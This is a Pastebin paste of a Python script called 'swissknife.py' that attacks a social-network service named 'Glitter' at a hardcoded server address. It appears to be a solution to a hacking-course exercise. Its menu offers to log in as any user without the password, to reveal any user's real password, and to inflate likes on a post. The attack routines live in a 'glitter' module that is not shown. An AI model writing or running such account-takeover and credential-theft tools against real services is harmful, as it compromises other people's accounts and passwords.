Advertisement
Yonka2019

swissknife.py

Jun 26th, 2021
107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.82 KB | None | 0 0
  1. import sys
  2. import socket
  3. import glitter
  4.  
  5. SERVER_IP = "44.224.228.136"
  6. SERVER_PORT = 1336
  7.  
  8. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  9. sock.connect((SERVER_IP, SERVER_PORT))
  10.  
  11.  
  12. def main():
  13.     print("Welcome to Glitter Swissknife")
  14.     my_id, password, screen_name = login()
  15.  
  16.     while True:
  17.         selected = select_menu()
  18.         if selected == 0:
  19.             stop()
  20.             break
  21.         elif selected == 1:
  22.             username = input("Please enter username to login without using the password: ")
  23.             my_id, password, screen_name = glitter.login_without_pass(sock, username, my_id)
  24.             if my_id is None:
  25.                 print("[" + username + "] Wrong username.")
  26.                 stop()
  27.             else:
  28.                 print("[" + username + "] Logged in!")
  29.         elif selected == 2:
  30.             username = input("Please enter username to get his real password: ")
  31.             my_id, password, screen_name = glitter.login_without_pass(sock, username, my_id)
  32.             if my_id is None:
  33.                 print("\"" + username + "\" Wrong username.")
  34.                 stop()
  35.             else:
  36.                 print("-------\n"
  37.                       "Username: " + username + "\n"
  38.                                                 "Password: " + password +
  39.                       "\n-------")
  40.         elif selected == 3:
  41.             print("Your glits list:")
  42.             glits_list = glitter.glits_list(sock, my_id)
  43.             for num, glit in enumerate(glits_list):
  44.                 print(f"{num + 1}. \"{glit[3]}\" ({glit[2]}/{glit[1]}/{glit[0]})")
  45.             glit_id = glits_list[int(input("Please choose glit number: ")) - 1][4]
  46.             glitter.add_likes(sock, glit_id, my_id, screen_name,
  47.                               int(input("How much likes you want to add for the selected glit: ")))
  48.  
  49.  
  50. def login():
  51.     while True:
  52.         my_username = input("Please enter username: ")
  53.         my_username_checksum = glitter.calc_checksum(my_username)
  54.  
  55.         my_password = input("Please enter password: ")
  56.         my_password_checksum = glitter.calc_checksum(my_password)
  57.  
  58.         print("Logging in...")
  59.         my_id, password, screen_name = glitter.login(sock, my_username, my_password, my_username_checksum + my_password_checksum)
  60.         if my_id:
  61.             print("Logged in!")
  62.             return my_id, password, screen_name
  63.         else:
  64.             print("Wrong username/password\n"
  65.                   "Try again\n")
  66.  
  67.  
  68. def select_menu():
  69.     print("MAIN MENU")
  70.  
  71.     print("0. Exit")
  72.     print("1. Login to user without password")
  73.     print("2. Get user's password")
  74.     print("3. Make many likes to a glit")
  75.  
  76.     return int(input("Please choose: "))
  77.  
  78.  
  79. def stop():
  80.     print("Goodbye")
  81.     sock.close()
  82.     sys.exit(0)
  83.  
  84.  
  85. if __name__ == '__main__':
  86.     main()
  87.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement